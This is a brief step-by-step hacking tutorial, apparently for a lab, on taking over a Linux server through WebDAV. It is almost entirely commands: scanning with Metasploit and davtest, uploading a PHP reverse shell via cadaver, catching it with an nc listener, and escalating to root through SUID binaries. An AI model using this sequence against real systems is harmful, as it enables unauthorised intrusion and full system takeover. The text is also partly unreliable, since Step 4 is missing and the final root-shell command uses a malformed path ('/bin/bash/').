Learn 2 Hack

Exploiting WebDAV

Getting a remote shell on a Linux system

---

Step 1: Scan for Weaknesses with Metasploit

1. Open Metasploit:
$msfconsole
2. Search for WebDAV modules:
$search webdav
3. Load the webdav_scanner:
$use auxiliary/scanner/http/webdav_scanner
4. Set path to /dav/:
$set path /dav/
5. Set target IP:
$set RHOSTS 192.168.1.254
6. Execute:
exploit

Step 2: Asses File Permissions Using DAVTest

1. Run davtest:
$davtest -url http://192.168.1.254/dav
2. Check for successful directory creation and file uploads

Step 3: Upload with Cadaver

1. Connect via cadaver:
$cadaver http://192.168.1.254/dav
2. Test with a file:
$put test.txt
3. Use and configre a php reverse shell using webshells:
$webshells
4. Configure IP and port on your reverse shell
5. Upload a PHP reverse shell:
$put php-reverse-shell.php

Step 5: Catch the Shell

1. Start a listener on the same port as the reverse shell uses:
$nc -lvnp 5555

Step 6: Privilege Escalation

1. Explore methods such as kernel exploits, misconfigs, and programs running with root level privs
2. You can use the tool LinEnum to check for any methodsLinEnum
3. Identify SUID files
4. Execute a privileged process to spwan root shell:
$./path/to/suid_executable -c "/bin/bash/"

You should now have root level access